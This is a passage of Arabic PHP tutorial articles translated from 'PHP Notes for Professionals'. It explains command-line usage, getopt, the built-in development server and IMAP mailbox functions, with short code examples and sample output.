المؤقت متوفرًا لكن يجب تمكينه بشكلٍ صريح وإلا سيُعرض الخرج دائمًا في الوقت الحقيقي. لا يوجد قيد زمني، يُضبط الموجه max_execution_time في الملف php.ini إلى القيمة صفر لذا لن ينتهي وقت تنفيذ السكربتات بشكلٍ افتراضي. لا توجد أخطاء HTML، إذا مكّنت الموجّه html_errors في ملف php.ini سيتجاهله سطر الأوامر. يمكن تحميل ملفات php.ini مختلفة، إذا كنت تستخدم PHP من CLI يمكنك تحميل ملفات php.ini مختلفة وهذا غير متاح عند التنفيذ على خادم ويب، يمكنك أن تعرف ما هو الملف المستخدم بتنفيذ الأمر php ‎--ini‎. تنفيذ السكربت في كل من لينوكس/يونكس أو ويندوز يمكن تمرير الملف كوسيط إلى PHP القابلة للتنفيذ مع خيارات ووسائط السكربت: php ~/example.php foo bar c:\php\php.exe c:\example.php foo bar تمرر الشيفرة السابقة الوسائط foo وbar إلى الملف example.php. الطريقة المفضلة لتنفيذ السكربتات في لينوكس/يونكس هي استخدام Shebang (سطر يبدأ بالسلسلة النصية "‎ #! ‎") مثل ‎#!/usr/bin/env php في السطر الأول من الملف وضبط البت القابل للتنفيذ على الملف، بفرض أنّ السكربت في مسارك يمكنك عندها استدعاؤه مباشرةً: example.php foo bar إنّ استخدام ‎/usr/bin/env php‎ يجعل من الممكن العثور على PHP القابلة للتنفيذ باستخدام PATH. وفقًا لكيفية تثبيت PHP قد لا تكون موجودة في نفس المكان (مثل ‎/usr/bin/php‎ أو ‎/usr/local/bin/php) على عكس env المتوفرة عادةً في ‎/usr/bin/env. في ويندوز قد تحصل على نفس النتيجة بإضافة مجلد PHP والسكربت الخاص بك إلى PATH وتعديل PATHEXT ليسمح باكتشاف ‎.php باستخدام PATH، الاحتمال الآخر هو إضافة ملف باسم example.bat أو example.cmd في نفس المجلد الموجود به سكربت PHP وكتابة هذا السطر فيه: c:\php\php.exe "%~dp0example.php" %* أو إذا أضفت مجلد PHP داخل PATH: php "%~dp0example.php" %* حالات متقدمة لاستخدام getopt()‎ يظهر هذا المثال سلوك getopt عندما يكون دخل المستخدم غير شائع، محتويات الملف getopt.php: var_dump( getopt("ab:c::", ["delta", "epsilon:", "zeta::"]) ); سطر أوامر الصدفة: $ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma array(6) { ["a"]=> array(2) { [0]=> bool(false) [1]=> bool(false) } ["b"]=> array(2) { [0]=> string(4) "beta" [1]=> string(4) "beta" } ["c"]=> array(2) { [0]=> string(5) "gamma" [1]=> bool(false) } ["delta"]=> bool(false) ["epsilon"]=> string(6) "--zeta" ["zeta"]=> string(1) "f" } يمكننا أن نلاحظ من المثال السابق: تحمل الخيارات الفردية (بدون نقطتان) دائمًا القيمة المنطقية false إذا مُكِّنت. إذا كُرِّر خيار ما فإنّ قيمة خرج getopt ستصبح مصفوفة. تقبل خيارات الوسيط المطلوب (بنقطتين) فراغ واحد أو عدم وجود فراغ (مثل خيارات الوسيط الاختيارية) كفاصل. بعد وجود وسيط واحد لا يمكن ربطه بأي خيار فإنّ الخيارات التالية لن تُربط أيضًا. تشغيل خادم ويب مدمج أصبحت PHP بدءًا من الإصدار PHP 5.4 تأتي مع خادم مدمج، يمكن استخدامه لتنفيذ تطبيق بدون الحاجة لتثبيت أي خادم http مثل nginx أو apache، صُمم الخادم المدمج في بيئة المتحكم فقط لأهداف التطوير والاختبار، يمكن تنفيذه باستخدام الأمر php -S ولاختباره ننشئ الملف index.php ونكتب فيه: <?php echo "Hello World from built-in PHP server"; وننفذ الأمر: php -S localhost:8080 يجب أن تكون الآن قادرًا على رؤية المحتوى في المتصفح، للتحقق من ذلك انتقل إلى المسار http://localhost:8080 ، ويجب أن يؤدي كل وصول إلى مدخل سجل يُكتب في الطرفية (Terminal). [Mon Aug 15 18:20:19 2016] ::1:52455 [200]: / ترجمة -وبتصرف- للفصل [Command Line Interface (CLI)‎] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: اصطلاحات ومواضيع متفرقة مهمة لكل مبرمج PHP المقال السابق: ملاحظات حول استعمال بروتوكول IMAP في PHP
  15. الاتصال إلى صندوق البريد (mailbox) للقيام بأي فعل مع حساب IMAP (‏Internet Message Access Protocol) تحتاج للاتصال به أولًا، ولتتصل تحتاج لتحديد بعض المعاملات المطلوبة: اسم الخادم أو عنوان IP لخادم البريد (mail server). المنفذ الذي تريد الاتصال به: منفذ IMAP هو 143 أو993 (آمن). منفذ POP (‏Post Office Protocol‏) هو 110 أو995 (آمن). منفذ SMTP (‏Simple Mail Transfer Protocol) هو 25 أو465 (آمن). منفذ NNTP (‏Network News Transfer Protocol) هو 119 أو563 (آمن). رايات الاتصال: موضحة في الجدول التالي: الراية الوصف الخيارات القيمة الافتراضية ‎/service=service الخدمة التي نريد استخدامها imap,pop3,nntp, smtp imap ‎/user=user اسم المستخدم البعيد لتسجيل الدخول على الخادم ‎/authuser=user مستخدم المصادقة عن بعد، إذا حُدِّد فهذا هو اسم المستخدم الذي تُستخدم كلمة المرور الخاصة به ‎/anonymous الوصول البعيد كمستخدم غريب ‎/debug تسجيل بروتوكول القياس عن بعد في سجل أخطاء التطبيق disabled ‎/secure لا ترسل كلمة المرور كنص عادي عبر الشبكة ‎/norsh ‫لا تستخدم rsh أو ssh لتأسيس جلسة IMAP مسبقة الوثوقية ‎/ssl استخدم طبقة المقبس الآمنة لتشفير الجلسة ‎/validate-cert ‫ترخيص من خادم TLS/SSL enabled ‎/novalidate-cert ‫لا تتحقق من شهادات الخادم TLS/SSL، نحتاجها إذا كان الخادم يستخدم شهادات ذاتية التوقيع، استخدم هذه الراية بحذر disabled ‎/tls ‫فرض استخدام طريقة start-TLS لتشفير الجلسة ورفض الاتصال بالخوادم التي لا تدعمها ‎/notls لا تستخدم طريقة start-TLS لتشفير الجلسة حتى لو كانت الخوادم تدعمها ‎/readonly ‫طلب فتح صندوق البريد للقراءة فقط (في IMAP فقط، يتم تجاهلها مع NNTP ويعطي خطأ مع SMTP وPOP3) table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } ستبدو سلسلة الاتصال بالشكل التالي: {imap.example.com:993/imap/tls/secure} لاحظ أنّه إذا كان أي محرف في سلسة الاتصال غير مرمّز بالترميز ASCII فيجب ترميزه باستخدام utf7_encode($string)‎. نستخدم الأمر imap open للاتصال إلى صندوق البريد، يعيد هذا الأمر قيمة مورد تشير إلى مجرى: <?php $mailbox = imap_open("{imap.example.com:993/imap/tls/secure}", "username", "password"); if ($mailbox === false) { echo "Failed to connect to server"; } تحميل الإضافة IMAP نحتاج لتثبيت الإضافة IMAP حتى نتمكن من استخدام دوال IMAP في PHP. التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php5-imap sudo php5enmod imap التثبيت في نظام ديبيان/أبونتو مع PHP5 sudo apt-get install php7.0-imap التثبيت في التوزيعات المعتمدة على YUM sudo yum install php-imap التثبيت في إصدارات نظام التشغيل ماك مع php5.6 brew reinstall php56 --with-imap إنشاء قائمة بكل مجلدات صندوق البريد عندما تتصل بصندوق البريد الخاص بك، سترغب في إلقاء نظرة بداخله، الأمر الأول المفيد في هذه الحالة هو imap list، المعامل الأول هو المورد الذي حصلت عليه من imap_open والثاني هو صندوق البريد الخاص بك والثالث سلسلة بحث غامضة (نستخدم * لمطابقة أي نمط). $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*"); if ($folders === false) { echo "Failed to list folders in mailbox"; } else { print_r($folders); } يجب أن يكون الخرج مشابهًا للتالي: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX [1] => {imap.example.com:993/imap/tls/secure}INBOX.Sent [2] => {imap.example.com:993/imap/tls/secure}INBOX.Drafts [3] => {imap.example.com:993/imap/tls/secure}INBOX.Junk [4] => {imap.example.com:993/imap/tls/secure}INBOX.Trash ) يمكننا استخدام المعامل الثالث لترشيح هذه النتائج بالشكل التالي: $folders = imap_list($mailbox, "{imap.example.com:993/imap/tls/secure}", "*.Sent"); عندها ستحتوي النتيجة على المداخل التي فيها السلسلة النصية ‎.Sent في الاسم: Array ( [0] => {imap.example.com:993/imap/tls/secure}INBOX.Sent ) ملاحظة: سيعيد استخدام * للبحث الغامض كل التطابقات بشكلٍ متكرر، ويعيد استخدام % التطابقات في المجلد الحالي المحدد فقط. البحث عن الرسائل في صندوق البريد يمكنك أن تستخدم imap_headers لتحصل على قائمة بكل الرسائل الموجودة في صندوق البريد. <?php $headers = imap_headers($mailbox); تكون النتيجة مصفوفة من السلاسل النصية بالنمط التالي: [FLAG] [MESSAGE-ID])[DD-MM-YYY] [FROM ADDRESS] [SUBJECT TRUNCATED TO 25 CHAR] ([SIZE] chars) إليك عينة عن الشكل الذي سيبدو عليه كل سطر: A 1)19-Aug-2016 someone@example.com Message Subject (1728 chars) D 2)19-Aug-2016 someone@example.com RE: Message Subject (22840 chars) U 3)19-Aug-2016 someone@example.com RE: RE: Message Subject (1876 chars) N 4)19-Aug-2016 someone@example.com RE: RE: RE: Message Subje (1741 chars) الرمز الراية المعنى A Answered تم الرد على هذه الرسالة D Deleted ‫حُذفت الرسالة (ولم تُزال نهائيًا) F Flagged مُيِّزت هذه الرسالة للفت الانتباه N New الرسالة جديدة ولم تُقرأ بعد R Recent الرسالة جديدة ومقروءة U Unread الرسالة لم تُقرأ بعد X Draft الرسالة مسودة لاحظ أنّ هذا الاستدعاء سيأخذ بعض الوقت ليُنفَّذ وقد يعيد قائمة طويلة جدًا، الخيار البديل هو تحميل الرسائل بشكلٍ منفصل وفقًا للحاجة، يُسند معرِّف لكل بريد إلكتروني من الرقم 1 (الأقدم) وحتى قيمة imap_num_msg($mailbox)‎. يوجد عدة دوال للوصول إلى بريد إلكتروني مباشرةً، لكن أبسط طريقة هي استخدام الدالة imap_header التي تُرجع معلومات ترويسة مهيكلة: <?php $header = imap_headerinfo($mailbox , 1); stdClass Object ( [date] => Wed, 19 Oct 2011 17:34:52 +0000 [subject] => Message Subject [message_id] => <04b80ceedac8e74$51a8d50dd$0206600a@user1687763490> [references] => <ec129beef8a113c941ad68bdaae9@example.com> [toaddress] => Some One Else <someoneelse@example.com> [to] => Array ( [0] => stdClass Object ( [personal] => Some One Else [mailbox] => someonelse [host] => example.com ) ) [fromaddress] => Some One <someone@example.com> [from] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [reply_toaddress] => Some One <someone@example.com> [reply_to] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [senderaddress] => Some One <someone@example.com> [sender] => Array ( [0] => stdClass Object ( [personal] => Some One [mailbox] => someone [host] => example.com ) ) [Recent] => [Unseen] => [Flagged] => [Answered] => [Deleted] => [Draft] => [Msgno] => 1 [MailDate] => 19-Oct-2011 17:34:48 +0000 [Size] => 1728 [udate] => 1319038488 ) ترجمة -وبتصرف- للفصول [IMAP] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: التعامل مع واجهة سطر الأوامر (CLI) في PHP المقال السابق: كيفية إرسال بريد إلكتروني في PHP